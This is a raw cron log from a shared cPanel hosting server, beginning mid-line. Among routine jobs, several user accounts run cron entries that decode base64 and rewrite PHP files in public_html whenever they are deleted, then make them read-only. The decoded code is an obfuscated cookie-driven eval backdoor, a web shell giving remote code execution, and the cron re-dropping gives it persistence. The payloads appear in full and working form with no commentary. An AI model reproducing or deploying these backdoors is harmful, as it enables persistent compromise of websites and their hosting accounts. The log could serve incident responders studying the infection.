ZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:12:01 medusa CROND[5946]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:12:01 medusa CROND[5950]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:12:01 medusa CROND[5952]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:12:01 medusa CROND[5959]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:12:01 medusa CROND[5958]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:12:01 medusa CROND[5962]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:12:01 medusa CROND[5960]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:12:01 medusa CROND[5970]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:12:01 medusa CROND[5971]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:13:02 medusa CROND[10324]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:13:02 medusa CROND[10325]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 07:13:02 medusa CROND[10326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:13:02 medusa CROND[10328]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:13:02 medusa CROND[10329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:13:02 medusa CROND[10331]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:13:02 medusa CROND[10330]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:13:02 medusa CROND[10335]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:13:02 medusa CROND[10337]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:13:02 medusa CROND[10338]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:13:02 medusa CROND[10333]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:13:02 medusa CROND[10339]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:13:02 medusa CROND[10340]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:13:02 medusa CROND[10383]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:14:01 medusa CROND[16431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:14:01 medusa CROND[16518]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:14:01 medusa CROND[16519]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:14:01 medusa CROND[16523]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:14:01 medusa CROND[16524]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:14:01 medusa CROND[16527]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
